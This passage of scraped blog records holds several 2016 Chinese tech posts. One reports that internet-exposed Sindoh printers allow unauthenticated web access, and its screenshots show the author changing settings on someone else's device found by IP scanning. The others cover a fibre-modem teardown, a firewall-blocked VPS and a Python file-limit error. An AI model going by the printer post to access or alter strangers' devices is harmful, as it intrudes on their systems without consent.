a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u65b0\u90fd\uff08Sindoh\uff09\u590d\u5408\u673aWEB\u672a\u6388\u6743\u53ef\u8fdc\u7a0b\u64cd\u4f5c"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-20, 9:58 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Web\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u6700\u8fd1\u626b\u63cf\u4e86\u4e00\u6279\u56fd\u5916\u7684IP\u6bb5\uff0c\u53d1\u73b0\u4e86\u4e0d\u5c11\u7684\u95ee\u9898\uff0c\u4e00\u4e9b\u8bbe\u5907\u5728\u56fd\u5185\u7684\u4f7f\u7528\u91cf\u8f83\u5c11\uff0c\u6240\u4ee5\u5bf9\u4e8e\u56fd\u5185\u6765\u8bf4\u5f71\u54cd\u4e0d\u662f\u5f88\u5927\uff0c\u8fd9\u7bc7\u6587\u7ae0\u8bf4\u8bf4\u97e9\u56fd\u8457\u540d\u7684\u6253\u5370\u673a\u65b0\u90fd\uff08Sindoh\uff09\u6253\u5370\u673a\u7684\u672a\u6388\u6743\u8bbf\u95ee\u95ee\u9898\u3002\r\n</p>\r\n<h2>\r\n\t\u53d1\u73b0\r\n</h2>\r\n<p>\r\n\t\u901a\u8fc7\u5bf9\u65e5\u5e38IP\u6bb5\u626b\u63cf\u7684\u4fe1\u606f\u5206\u6790\uff0c\u53d1\u73b0\u65b0\u90fd\uff08Sindoh\uff09\u6253\u5370\u673a\u7684WEB\u7aef\u53ef\u8fdc\u7a0b\u8bbf\u95ee\uff0c\u8fd9\u91cc\u4e3e\u4e2a\u4f8b\u5b50\uff0cIP\u5c5e\u4e8e\u97e9\u56fd</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=422\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/b26b82cb1fa16a6f8c0d8ccad752a267.png\" alt=\"2016-10-20 09-48-19\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 153.53 KB - \u5c3a\u5bf8: 818 x 580 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"818\" height=\"580\"></a></div>\u4ece\u56fe\u4e2d\u53ef\u4ee5\u770b\u5230\u754c\u9762\u662f\u82f1\u6587\u7684\uff0c\u6bd4\u8f83\u597d\u7406\u89e3\u5b57\u9762\u7684\u610f\u601d\uff0c\u5f53\u7136\u8fd8\u6709\u97e9\u6587\u7684\u754c\u9762\uff0c\u6bd4\u5982\u4e0b\u9762\u8fd9\u4e2a<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=423\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/2d0117ef9095d2319cebbb8684b06ece.png\" alt=\"2016-10-20 09-49-46\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 180.53 KB - \u5c3a\u5bf8: 945 x 694 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"661\"></a></div>\u529f\u80fd\u4f3c\u4e4e\u66f4\u52a0\u7684\u4e30\u5bcc\uff0c\u7136\u800c\u673a\u667a\u7684\u535a\u4e3b\u5e76\u4e0d\u61c2\u97e9\u6587\uff0c\u53ea\u80fd\u8bf4\u8bf4\u7b2c\u4e00\u4e2a\u4f8b\u5b50\u4e86\u3002\r\n\r\n<h2>\r\n\t\u64cd\u4f5c\r\n</h2>\r\n<p>\r\n\t\u7b2c\u4e00\u4e2a\u4f8b\u5b50\u4e2d\u53ef\u4ee5\u770b\u5230\u53f3\u4e0a\u89d2\u6709\u4e2asystem setting \uff0c\u53ef\u4ee5\u4ece\u8fd9\u91cc\u64cd\u4f5c\u6253\u5370\u673a\r\n</p>\r\n<p>\r\n\t\u4fee\u6539\u7f51\u7edc\u8bbe\u7f6e</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=424\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/2157ee43973231b8841d0904309afb6d.png\" alt=\"2016-10-20 09-52-23\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 85.75 KB - \u5c3a\u5bf8: 500 x 358 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"500\" height=\"358\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=425\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/e368790b7d1458a56a9295f66c863597.png\" alt=\"2016-10-20 09-52-32\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 196.48 KB - \u5c3a\u5bf8: 500 x 498 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"500\" height=\"498\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=426\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/563012c93bbd1e066dc859a0763b61a9.png\" alt=\"2016-10-20 09-52-40\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 167.68 KB - \u5c3a\u5bf8: 515 x 798 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"515\" height=\"798\"></a></div>\u4fee\u6539\u6253\u5370\u8bbe\u7f6e<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=427\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/027a15d4cb4c04de7d60f4ecb65990dd.png\" alt=\"2016-10-20 09-54-09\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 61.92 KB - \u5c3a\u5bf8: 500 x 248 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"500\" height=\"248\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=428\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/8103905e09885ebf2b8603dd2f84f8a3.png\" alt=\"2016-10-20 09-54-27\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 84.08 KB - \u5c3a\u5bf8: 500 x 328 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"500\" height=\"328\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=429\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/ec3ac805b781de190ca9bed820b4ee04.png\" alt=\"2016-10-20 09-54-40\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 68.16 KB - \u5c3a\u5bf8: 500 x 197 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"500\" height=\"197\"></a></div>\r\n\r\n<p>\r\n\t\u5176\u4ed6\u7684\u57fa\u672c\u8bbe\u7f6e\u4e0d\u622a\u56fe\u4e86\r\n</p>\r\n<h2>\r\n\t\u5371\u5bb3\r\n</h2>\r\n<p>\r\n\t\u89c2\u5bdf\u626b\u63cf\u5230\u7684IP\u5206\u5e03\uff0c\u53d1\u73b0\u5b58\u5728\u95ee\u9898\u7684IP\u57fa\u672c\u4e0a\u90fd\u5728\u97e9\u56fd\u5883\u5185\uff0c\u56fd\u5185\u6682\u65f6\u6ca1\u6709\u626b\u63cf\u5230\u6848\u4f8b\uff0c\u4e5f\u6709\u53ef\u80fd\u662f\u56e0\u4e3a\u56fd\u5185\u666e\u901a\u5bbd\u5e26\u5c0180\u7aef\u53e3\u5bfc\u81f4\u65e0\u6cd5\u626b\u63cf\u5230\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23414 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u534e\u52e4\u5149\u732bwifi\u4fe1\u53f7\u5f31\u7684\u539f\u56e0\u4ee5\u53ca\u89e3\u51b3\u65b9\u6cd5"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-19, 12:04 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u7528\u8fc7\u7535\u4fe1\u5149\u732b\u7684\u670b\u53cb\u90fd\u77e5\u9053\uff0c\u7535\u4fe1\u4f7f\u7528\u7684\u5149\u732b\u90fd\u5fc5\u987b\u662f\u7535\u4fe1\u6307\u5b9a\u7684\u8bbe\u5907\uff0c\u81ea\u884c\u8d2d\u4e70\u7684\u8bbe\u5907\u4e0d\u80fd\u7528\uff0c\u56e0\u4e3a\u9700\u8981\u7ed1\u5b9a\u7279\u5b9a\u7684\u4e32\u53f7\u3002\u6240\u4ee5\u7535\u4fe1\u5728\u5b89\u88c5\u5149\u7ea4\u7684\u65f6\u5019\u5f80\u5f80\u5f3a\u884c\u5b89\u5229\u4e00\u6ce2\u4ed6\u4eec\u7684\u5149\u732b\u8bbe\u5907\uff0c\u6839\u636e\u4e86\u89e3\u6709\u597d\u51e0\u79cd\u5149\u732b\u53ef\u4ee5\u9009\u62e9\uff0c\u4f46\u662f\u4e0d\u7ba1\u4f60\u9009\u62e9\u54ea\u79cd\uff0c\u90fd\u7279\u4e48\u8d35\u7684\u8981\u6b7b\uff0c\u800c\u4e14\u8bbe\u5907\u4e5f\u5f88\u6e23\uff0c\u4eca\u5929\u5c31\u6765\u8bf4\u8bf4\u7535\u4fe1\u534e\u52e4\u5149\u732bwifi\u4fe1\u53f7\u5dee\u7684\u95ee\u9898\u3002\r\n</p>\r\n\u5f88\u591a\u670b\u53cb\u88c5\u5b8c\u5bbd\u5e26\u5c31\u76f4\u63a5\u53bb\u4e70\u4e2a\u8def\u7531\u5668\u63a5\u4e0a\u53bb\uff0c\u61d2\u5f97\u7528\u5149\u732b\u81ea\u5e26\u7684wifi\uff0c\u4e00\u6765\u662f\u4e3a\u4e86\u907f\u514d\u7535\u4fe1\u5149\u732b\u5185\u7f6e\u7684\u5ba2\u6237\u7aef\u6570\u91cf\u9650\u5236\uff08\u7535\u4fe1\u5b98\u65b9\u89e3\u91ca\u662f\u56e0\u4e3a\u5bb6\u5ead\u7528\u6237\u4ef7\u683c\u5f88\u4f4e\uff0c\u6240\u4ee5\u4f1a\u6709\u5ba2\u6237\u7aef\u6570\u91cf\u7684\u9650\u5236\uff0c\u5347\u7ea7\u6210\u4f01\u4e1a\u7528\u6237\u5c31\u4e0d\u5b58\u5728\u8fd9\u4e2a\u95ee\u9898\u4e86\uff09\uff0c\u4e8c\u6765\u662f\u56e0\u4e3a\u5149\u732b\u7684wifi\u4fe1\u53f7\u771f\u7684\u975e\u5e38\u5dee\uff0c\u5f88\u591a\u65f6\u5019\u51e0\u4e4e\u8981\u7ad9\u5728\u5149\u732b\u65c1\u8fb9\u624d\u80fd\u6b63\u5e38\u4f7f\u7528wifi\uff0c\u5b9e\u5728\u662f\u9e21\u808b\uff01\r\n<p>\r\n\t\u5f53\u7136\uff0c\u535a\u4e3b\u4e5f\u9047\u5230\u4e86\u8fd9\u4e2a\u95ee\u9898\uff0c\u51b3\u5b9a\u4e00\u63a2\u7a76\u7adf\u3002\r\n</p>\r\n<h2>\r\n\t\u62c6\u673a\r\n</h2>\r\n<p>\r\n\t\u5fc3\u7075\u624b\u5de7\u7684\u535a\u4e3b\u81ea\u7136\u60f3\u5230\u4e86\u62c6\u673a\u89c2\u5bdf\u7684\u65b9\u5f0f\uff0c\u4e8e\u662f\u987a\u5229\u62c6\u673a\uff0c\u7ed3\u679c\u5374\u8ba9\u5f3a\u5927\u7684\u535a\u4e3b\u5c3f\u4e86\u4e00\u88e4\u5b50\uff0c\u7279\u4e48\u7684\u4f01\u4e1a\u826f\u5fc3\u88ab\u72d7\u5403\u5417\uff1f\r\n</p>\r\n<p>\r\n\t\u5565\u4e5f\u4e0d\u8bf4\u4e86\uff0c\u4e0a\u62c6\u673a\u56fe\u4e00\u63a2\u7a76\u7adf\u3002\r\n</p>\r\n<p>\r\n\t\u9996\u5148\u6765\u770b\u5149\u732b\u4fa7\u9762\u7684\u90a3\u4e2a\u7528\u6237\u5361\uff08\u867d\u7136\u4e0d\u77e5\u9053\u5e72\u5565\u7528\u7684\uff09</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=417\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/f8c60d875a5b151d743a5f3dda129819.jpg\" alt=\"webwxgetmsgimg.jpg - \u5927\u5c0f: 60.53 KB - \u5c3a\u5bf8: 1280 x 960 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"675\"></a></div>\u7136\u540e\u518d\u770b\u91cc\u9762\u7684\u6837\u5b50<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=418\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/da316acee88c24b6ac3ed01111847c87.jpg\" alt=\"1498823000.jpg - \u5927\u5c0f: 150.1 KB - \u5c3a\u5bf8: 1280 x 960 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"675\"></a></div>\u6211\u64e6\u561e\uff0c\u662f\u4e2a\u7a7a\u7684\uff5e\uff5e\r\n\r\n<p>\r\n\t\u518d\u6765\u770bWIFI\u90e8\u5206</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=419\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/67dabe3e8175e5a7568f5237043eab2a.jpg\" alt=\"1383164420.jpg - \u5927\u5c0f: 154.98 KB - \u5c3a\u5bf8: 960 x 1280 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"675\" height=\"900\"></a></div>\u8fd9\u7279\u4e48\u7684\u8fdewifi\u5929\u7ebf\u90a3\u4e2a\u5730\u65b9\u90fd\u662f\u5047\u7684\uff01\uff01\u5b9e\u9645\u7684wifi\u5929\u7ebf\u5728\u8fd9\u91cc<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=420\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/746dab81b05144e2d3d8c11fc5a4b229.jpg\" alt=\"803700872.jpg - \u5927\u5c0f: 169.57 KB - \u5c3a\u5bf8: 960 x 1280 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"675\" height=\"900\"></a></div>\u6ca1\u9519\uff0c\u5c31\u662f\u90a3\u4e24\u5757\u84dd\u8272\u7684\uff0c\u8fd9\u8981\u662f\u8bf4wifi\u4fe1\u53f7\u80fd\u597d\u6211\u7279\u4e48\u8fd8\u771f\u4e0d\u76f8\u4fe1\uff0c\u52a0\u4e2a\u597d\u70b9\u7684\u5929\u7ebf\u4f1a\u6b7b\u4e48\uff1f\r\n\r\n<p>\r\n\t\u5f53\u7136\u4e86\uff0c\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u81ea\u5df1\u52a8\u624b\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u770b\u56fe</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=421\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/bbdab441c25229c362d263133d4b2c12.jpg\" alt=\"1293515939.jpg - \u5927\u5c0f: 178.21 KB - \u5c3a\u5bf8: 960 x 1280 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"675\" height=\"900\"></a></div>\u4ece\u56fe\u4e0a\u53ef\u4ee5\u770b\u51fa\u677f\u5b50\u4e0a\u5df2\u7ecf\u9884\u7559\u4e86\u4e24\u4e2a\u5916\u63a5\u5929\u7ebf\u7684\u63a5\u53e3\uff0c\u53ef\u4ee5\u81ea\u884c\u8d2d\u4e70\u5916\u7f6e\u5929\u7ebf\u63d2\u4e0a\u53bb\uff0c\u81ea\u5df1\u6253\u5b54\u3002\r\n\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u65e2\u7136\u6ca1\u6709\u7684\u4e1c\u897f\uff0c\u4e3a\u6bdb\u8fd8\u8981\u505a\u4e2a\u6446\u8bbe\u7ed9\u7528\u6237\u770b\u5462\uff1f\u4e3a\u4e86\u9a97\u94b1\uff1f\u5475\u5475\u3002\r\n</p>\r\n<p>\r\n\t\u6211\u8bb0\u5f97\u4e4b\u524d\u4e5f\u5199\u8fc7\u5173\u4e8e\u9ad8\u79d1AP\u7684\u4e00\u7bc7\u62c6\u673a\u6587\uff0c\u4e24\u8005\u4e00\u4e2a\u5c3f\u6027\uff0c\u4f46\u662f\u9ad8\u79d1\u4eba\u5bb6\u6bd5\u7adf\u4fbf\u5b9c\uff0c\u4f60\u7535\u4fe1\u7684\u8fd9\u4e48\u6e23\u8fd8\u8d35\uff0c\u5bf9\u5f97\u8d77\u4f01\u4e1a\u826f\u5fc3\u5417\uff1f\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23413 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["BudgetVM VPS \u4e3b\u673aIP\u65e0\u6cd5\u8fde\u63a5"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-18, 8:09 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u5728\u65e9\u524d\u7684\u65f6\u5019\u535a\u5ba2\u4e00\u76f4\u5c31\u662f\u6258\u7ba1\u5728BudgetVM\u7684VPS\u4e0a\uff0c\u91c7\u7528\u7684\u5355\u68381G\u7684\u914d\u7f6e\uff0c\u6708\u4ed83.19\u5200\uff0c\u5927\u7ea621\u5757\u94b1\u7684\u6837\u5b50\uff0c\u4f46\u662f\u6bd4\u8f83\u9ebb\u70e6\u7684\u662f\u53ea\u80fd\u6708\u4ed8\uff0c\u6bcf\u4e2a\u6708\u90fd\u8981\u53bb\u4ed8\u6b3e\u4e00\u4e0b\u5f88\u662f\u9ebb\u70e6\uff0c\u4e0a\u5468\u628a\u535a\u5ba2\u8fc1\u79fb\u5230\u6811\u8393\u6d3e\u4e4b\u540eVPS\u53ea\u505a\u53cd\u5411\u4ee3\u7406\u548css\u670d\u52a1\u7aef\uff0c\u611f\u89c9\u6709\u70b9\u6d6a\u8d39\u3002\r\n</p>\r\n<h2>\r\n\t\u65b0\u8d2d\r\n</h2>\r\n<p>\r\n\t\u5e73\u65f6\u641c\u7d22\u6280\u672f\u6587\u7ae0\u4e60\u60ef\u4e86\u8def\u7531\u5668\u81ea\u52a8ss\u4e0a\u8c37\u6b4c\uff0c\u4e8e\u662f\u6253\u7b97\u518d\u4e70\u4e2a\u5e74\u4ed8\u7684VPS\u642dss\u52a0\u53cd\u4ee3\u535a\u5ba2\uff0c\u770b\u4e2d\u4e86\u5355\u6838512M\u65b9\u6848\u7684VPS\uff0c\u5e74\u4ed825\u5200\uff0c\u6839\u636e\u4eca\u5929\u7684\u6c47\u73871\u7f8e\u5143\u5927\u7ea6\u7b49\u4e8e6.77\u5757\u5927\u6d0b\uff08MD\u4eba\u6c11\u5e01\u53c8\u8d2c\u503c\u4e86\uff09\uff0c25\u5200\u6362\u7b97\u6210\u4eba\u6c11\u5e01\u4e3a169.41\u5143\u3002\r\n</p>\r\n<p>\r\n\t\u54ac\u54ac\u7259\uff0c\u4e70\u4e86\uff0c\u7701\u70b9\u5fc3\uff0c\u6bd5\u7adfss\u6bcf\u5929\u90fd\u5f97\u7528\u3002\r\n</p>\r\n<h2>\r\n\t\u95ee\u9898\r\n</h2>\r\n<p>\r\n\t\u4ed8\u5b8c\u6b3e\u4e4b\u540e\u53bb\u63a7\u5236\u9762\u677f\u62ff\u5230IP\uff0c\u4e00\u4e2aIPv4\u591f\u7528\u4e86\uff0c\u4e4b\u524d\u7684\u4e24\u4e2aIPv4\u4e00\u76f4\u90fd\u53ea\u7528\u4e86\u4e00\u4e2a\u3002\r\n</p>\r\n<p>\r\n\t\u5c1d\u8bd5ssh\u767b\u5f55\uff0c\u6b7b\u6d3b\u6ca1\u54cd\u5e94\uff0c\u5947\u602a\uff0c\u901a\u8fc7WEB\u7684\u7ec8\u7aef\u7a97\u53e3\u80fd\u76f4\u63a5\u767b\u5f55\u4e0a\u53bb\uff0c\u786e\u5b9aVPS\u5df2\u7ecf\u5f00\u8d77\u6765\u4e86\uff0c\u7ee7\u7eed\u5c1d\u8bd5Ping\uff0c\u5c45\u7136ping\u4e0d\u901a....\r\n</p>\r\n<p>\r\n\t\u96be\u9053\u662f\u4e3b\u673a\u5546\u90a3\u8fb9\u51fa\u95ee\u9898\u4e86\uff1f\r\n</p>\r\n<h2>\r\n\t\u5199\u4fe1\r\n</h2>\r\n<p>\r\n\t\u55ef\uff0c\u6839\u636e\u4e4b\u524d\u4f7f\u7528\u8001\u9e70\u4e3b\u673a\u7684\u7ecf\u9a8c\uff0c\u4e00\u822c\u8fd9\u79cd\u95ee\u9898\u5199Ticket\u662f\u6700\u5feb\u7684\u89e3\u51b3\u65b9\u6cd5\uff0c\u4e8e\u662f\u535a\u4e3b\u6211\u7528\u8fc7\u4e8632\u7ea7\u7684\u82f1\u8bed\u6c34\u5e73\u5feb\u901f\u5199\u4e86\u4e00\u4e2aTicket\u8fc7\u53bb\u3002\r\n</p>\r\n<p>\r\n\t\u5bf9\u8bdd\u5927\u6982\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:bash;\">\u6211\uff1a\r\nDear, \r\nI have bought a vps, but I can not connect by IP *.*.*.* \r\nI have try to ping its IP but also no response. Please help me Thanks.\r\n\r\nStaff Reply Alexander A\uff1a\r\nHello,\r\nWe are currently investigating your issue at this time.\r\n-----------------------\r\nKind Regards,\r\nAlexander A\r\nBudgetVM Support\r\n\r\nStaff Reply Alexander A\uff1a\r\nHello,\r\nIt appears this has been blocked by the GFW.\r\nI have replaced this IP with: *.*.*.*\r\n-----------------------\r\nKind Regards,\r\nAlexander A\r\nBudgetVM Support</pre>\r\n<p>\r\n\t\u77ac\u95f4\u604d\u7136\u5927\u609f...\r\n</p>\r\n<p>\r\n\t\u539f\u6765\u5982\u6b64\uff0c\u6211\u671d\u4f1f\u5927\u7684\u957f\u57ce\u554a~~~\r\n</p>\r\n<p>\r\n\t\u62ff\u5230\u65b0\u7684IP\u6d4b\u8bd5\uff0c\u679c\u7136\u53ef\u4ee5\u4e86\uff0cping\u503c200\u5de6\u53f3\uff0c\u8fd8\u7b97\u80fd\u591f\u63a5\u53d7\uff5e\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23412 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["Python \u8fd4\u56de [Errno 24] Too many open files"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-17, 4:45 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u6267\u884c\u591a\u7ebf\u7a0b\u626b\u63cf\u811a\u672c\u7684\u65f6\u5019\u9891\u7e41\u51fa\u73b0\u4e0b\u9762\u8fd9\u4e2a\u9519\u8bef\r\n</p>\r\n<pre class=\"brush:bash;\">HTTPConnectionPool(host=\u2018t.tips', port=80): Max retries exceeded with url: /index.php (Caused by NewConnectionError('<requests.packages.urllib3.connection.HTTPConnection object at 0x7f29d4081150>: Failed to establish a new connection: [Errno 24] Too many open files',))</pre>\r\n\u6bd4\u8f83\u8be1\u5f02...\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u81ea\u5df1\u624b\u4e0a\u7684\u4e00\u4e9b\u5c0f\u9879\u76ee\u7ecf\u5e38\u9700\u8981\u8fdb\u884c\u591a\u7ebf\u7a0b\u7684\u6279\u91cf\u626b\u63cf\u6765\u91c7\u96c6\u6570\u636e\uff0c\u50cf\u91c7\u96c6\u6570\u636e\u8fd9\u79cd\u529f\u80fd\u5f53\u7136\u662f\u7ebf\u7a0b\u8d8a\u591a\u8d8a\u597d\u4e86\uff0c\u6240\u4ee5\u901a\u5e38\u60c5\u51b5\u4e0b\u6211\u90fd\u662f\u4f7f\u7528 3000 